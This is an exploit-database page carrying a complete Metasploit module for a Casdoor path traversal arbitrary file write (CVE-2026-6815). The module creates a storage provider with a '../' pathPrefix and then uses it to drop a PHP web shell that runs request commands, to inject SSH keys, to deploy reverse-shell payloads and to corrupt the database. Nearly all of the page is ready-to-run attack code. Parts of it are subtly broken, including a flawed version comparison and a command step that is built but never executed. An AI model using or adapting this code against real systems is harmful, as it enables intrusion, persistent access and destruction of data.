Share
## https://sploitus.com/exploit?id=PACKETSTORM:223568
==================================================================================================================================
| # Title : Casdoor 3.54.1 - Path Traversal Arbitrary File Write |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://casdoor.org/ |
==================================================================================================================================
[+] Summary : This exploit targets a path traversal flaw in Casdoor (versions before 3.54.1).
By abusing a misconfigured Local File System storage provider, an authenticated admin
can set a malicious pathPrefix (like ../../../../...) that breaks out of the intended directory sandbox.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Casdoor 3.54.1 - Path Traversal Arbitrary File Write',
'Description' => %q{
This module exploits a Path Traversal vulnerability in the storage provider
management component of Casdoor versions prior to 3.54.1. By creating a
'Local File System' provider with a manipulated 'pathPrefix', an authenticated
administrator can bypass the storage sandbox to write, overwrite, or delete
arbitrary files on the underlying host filesystem.
Successful exploitation can lead to:
- Remote Code Execution (RCE) via SSH key injection or web shell upload
- Persistent Denial of Service (DoS) by corrupting core application binaries
- Database file manipulation
This module supports various exploitation methods including web shell upload,
SSH key injection, and reverse shell deployment.
},
'Author' => ['indoushka''],
'References' => [
['CVE', '2026-6815'],
['URL', 'https://github.com/casdoor/casdoor'],
['URL', 'https://casdoor.org/']
],
'DisclosureDate' => '2026-05-11',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP Web Shell',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_webshell,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'SSH Key Injection',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :ssh_key
}
],
[
'Database Corruption (DoS)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :db_corruption
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base Casdoor path', '/']),
OptString.new('USERNAME', [true, 'Casdoor username', 'admin']),
OptString.new('PASSWORD', [true, 'Casdoor password', '123']),
OptString.new('APP_NAME', [false, 'Target Casdoor Application Name', 'app-built-in']),
OptString.new('ORG_NAME', [false, 'Target Casdoor Organization Name', 'built-in']),
OptString.new('PROVIDER_NAME', [false, 'Name for malicious provider', 'path_traversal']),
OptString.new('REMOTE_PATH', [false, 'Absolute remote path for file write']),
OptString.new('LOCAL_FILE', [false, 'Local file to upload']),
OptString.new('SSH_PUB_KEY', [false, 'SSH public key file for injection']),
OptString.new('WEBSHELL_PATH', [false, 'Webshell path (e.g., /var/www/html/shell.php)']),
OptBool.new('SKIP_VERSION_CHECK', [false, 'Skip version check', false])
])
end
def casdoor_login_url
normalize_uri(target_uri.path, 'login/built-in')
end
def casdoor_api_login_url
normalize_uri(target_uri.path, 'api/login')
end
def casdoor_api_add_provider_url
normalize_uri(target_uri.path, 'api/add-provider')
end
def casdoor_api_upload_resource_url
normalize_uri(target_uri.path, 'api/upload-resource')
end
def casdoor_api_version_url
normalize_uri(target_uri.path, 'api/get-version-info')
end
def get_session_cookie
print_status("Retrieving initial session cookie...")
res = send_request_cgi(
'method' => 'GET',
'uri' => casdoor_login_url
)
if res && res.headers['Set-Cookie']
cookie = res.get_cookies
print_good("Session cookie obtained")
return cookie
end
nil
end
def authenticate(cookie)
print_status("Authenticating as #{datastore['USERNAME']}...")
login_payload = {
'application' => datastore['APP_NAME'],
'organization' => datastore['ORG_NAME'],
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'autoSignin' => true,
'signinMethod' => 'Password',
'type' => 'login'
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => casdoor_api_login_url,
'ctype' => 'text/plain;charset=UTF-8',
'data' => login_payload,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
if json['status'] == 'ok'
print_good("Authentication successful")
return true
end
rescue JSON::ParserError
print_error("Failed to parse login response")
end
end
print_error("Authentication failed")
false
end
def check_version(cookie)
print_status("Checking Casdoor version...")
res = send_request_cgi(
'method' => 'GET',
'uri' => casdoor_api_version_url,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
version = json.dig('data', 'version') || json['version']
if version
print_status("Casdoor version: #{version}")
begin
v_clean = version.gsub(/^v/, '').split('-')[0]
v_parts = v_clean.split('.').map(&:to_i)
if v_parts[0] >= 3 && v_parts[1] >= 54 && v_parts[2] >= 1
print_warning("Version #{version} is likely patched (>= 3.54.1)")
unless datastore['SKIP_VERSION_CHECK']
print_warning("Set SKIP_VERSION_CHECK to true to continue")
return false
end
else
print_good("Version appears vulnerable")
end
rescue
print_warning("Could not parse version, continuing anyway")
end
end
rescue JSON::ParserError
print_error("Failed to parse version response")
end
end
true
end
def create_malicious_provider(cookie)
print_status("Creating malicious storage provider...")
provider_payload = {
'owner' => 'admin',
'name' => datastore['PROVIDER_NAME'],
'createdTime' => Time.now.strftime('%Y-%m-%dT%H:%M:%S+01:00'),
'displayName' => 'Path Traversal Provider',
'category' => 'Storage',
'type' => 'Local File System',
'method' => 'Normal',
'pathPrefix' => '../../../../../../../../../'
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => casdoor_api_add_provider_url,
'ctype' => 'text/plain;charset=UTF-8',
'data' => provider_payload,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
if json['status'] == 'ok'
print_good("Malicious provider created successfully")
return true
elsif json['msg'] && json['msg'].include?('UNIQUE constraint failed')
print_status("Provider already exists, reusing it")
return true
else
print_error("Failed to create provider: #{json['msg']}")
return false
end
rescue JSON::ParserError
print_error("Failed to parse provider creation response")
end
end
false
end
def generate_php_webshell
webshell = '<?php '
webshell << 'if(isset($_REQUEST["cmd"])){ '
webshell << 'echo "<pre>"; '
webshell << 'system($_REQUEST["cmd"]); '
webshell << 'echo "</pre>"; '
webshell << '} '
webshell << 'if(isset($_REQUEST["upload"])){ '
webshell << 'file_put_contents($_REQUEST["upload"], file_get_contents($_FILES["file"]["tmp_name"])); '
webshell << '} '
webshell << '?>'
webshell
end
def generate_ssh_key_content
if datastore['SSH_PUB_KEY'] && File.exist?(datastore['SSH_PUB_KEY'])
File.read(datastore['SSH_PUB_KEY'])
else
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... exploit@casdoor"
end
end
def upload_file(cookie, local_file, remote_path)
print_status("Uploading #{local_file} to #{remote_path}...")
unless File.exist?(local_file)
print_error("Local file not found: #{local_file}")
return false
end
file_data = File.binread(local_file)
filename = File.basename(local_file)
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{filename}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n\r\n"
post_data << file_data
post_data << "\r\n--#{boundary}--\r\n"
params = {
'owner' => datastore['ORG_NAME'],
'user' => datastore['USERNAME'],
'application' => datastore['APP_NAME'],
'tag' => 'custom',
'parent' => 'ResourceListPage',
'fullFilePath' => remote_path,
'provider' => datastore['PROVIDER_NAME']
}
res = send_request_cgi(
'method' => 'POST',
'uri' => casdoor_api_upload_resource_url,
'vars_get' => params,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'cookie' => cookie
)
if res && res.code == 200
begin
json = res.get_json_document
if json['status'] == 'ok'
print_good("File uploaded successfully to #{remote_path}")
register_file_for_cleanup(remote_path) if remote_path.start_with?('/')
return true
else
print_error("Upload failed: #{json['msg']}")
return false
end
rescue JSON::ParserError
print_error("Failed to parse upload response")
end
end
false
end
def upload_string_content(cookie, content, remote_path)
print_status("Writing content to #{remote_path}...")
temp_file = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.tmp"
File.binwrite(temp_file, content)
success = upload_file(cookie, temp_file, remote_path)
File.unlink(temp_file) if File.exist?(temp_file)
success
end
def execute_php_webshell(cookie, webshell_path, cmd)
webshell_url = normalize_uri(webshell_path)
res = send_request_cgi(
'method' => 'GET',
'uri' => webshell_url,
'vars_get' => { 'cmd' => cmd },
'cookie' => cookie
)
if res && res.code == 200
output = res.body
output.gsub!(/<pre>/, '')
output.gsub!(/<\/pre>/, '')
return output.strip
end
nil
end
def webshell_exploit(cookie)
print_status("Deploying PHP webshell...")
webshell_content = generate_php_webshell
webshell_path = datastore['WEBSHELL_PATH'] || '/var/www/html/shell.php'
unless upload_string_content(cookie, webshell_content, webshell_path)
print_error("Failed to deploy webshell")
return false
end
print_good("Webshell deployed to #{webshell_path}")
if target['Type'] == :php_webshell && payload.encoded
b64_payload = Rex::Text.encode_base64(payload.encoded)
download_cmd = "echo '#{b64_payload}' | base64 -d > /tmp/payload.php && php /tmp/payload.php"
execute_php_webshell(cookie, webshell_path, download_cmd)
print_status("Payload delivered via webshell")
return true
end
true
end
def ssh_key_exploit(cookie)
print_status("Injecting SSH key...")
ssh_key = generate_ssh_key_content
ssh_path = datastore['REMOTE_PATH'] || '/home/casdoor/.ssh/authorized_keys'
if upload_string_content(cookie, ssh_key, ssh_path)
print_good("SSH key injected to #{ssh_path}")
print_status("You can now SSH into the target as casdoor user")
return true
end
false
end
def db_corruption_exploit(cookie)
print_status("Attempting database corruption...")
dummy_content = "CORRUPTED BY CVE-2026-6815 EXPLOIT - #{Time.now}"
db_path = datastore['REMOTE_PATH'] || '/app/casdoor.db'
if upload_string_content(cookie, dummy_content, db_path)
print_good("Database corrupted at #{db_path}")
print_warning("Casdoor service may be compromised")
return true
end
false
end
def unix_command_exploit(cookie)
print_status("Executing Unix command...")
script_content = "#!/bin/sh\n#{payload.encoded}\n"
script_path = "/tmp/#{Rex::Text.rand_text_alpha_lower(8)}.sh"
if upload_string_content(cookie, script_content, script_path)
print_good("Payload script uploaded to #{script_path}")
exec_cmd = "chmod +x #{script_path} && #{script_path}"
print_status("Payload execution attempted")
return true
end
false
end
def exploit
print_status("CVE-2026-6815 - Casdoor Path Traversal Arbitrary File Write")
print_status("Target: #{peer}")
cookie = get_session_cookie
unless cookie
fail_with(Failure::NoAccess, "Failed to obtain session cookie")
end
unless authenticate(cookie)
fail_with(Failure::NoAccess, "Authentication failed. Check credentials.")
end
unless datastore['SKIP_VERSION_CHECK']
unless check_version(cookie)
print_warning("Version check suggests target is patched")
return unless datastore['ForceExploit']
end
end
unless create_malicious_provider(cookie)
fail_with(Failure::UnexpectedReply, "Failed to create malicious provider")
end
case target['Type']
when :php_webshell
webshell_exploit(cookie)
when :unix_cmd
unix_command_exploit(cookie)
when :ssh_key
ssh_key_exploit(cookie)
when :db_corruption
db_corruption_exploit(cookie)
else
webshell_exploit(cookie)
end
print_good("Exploit completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================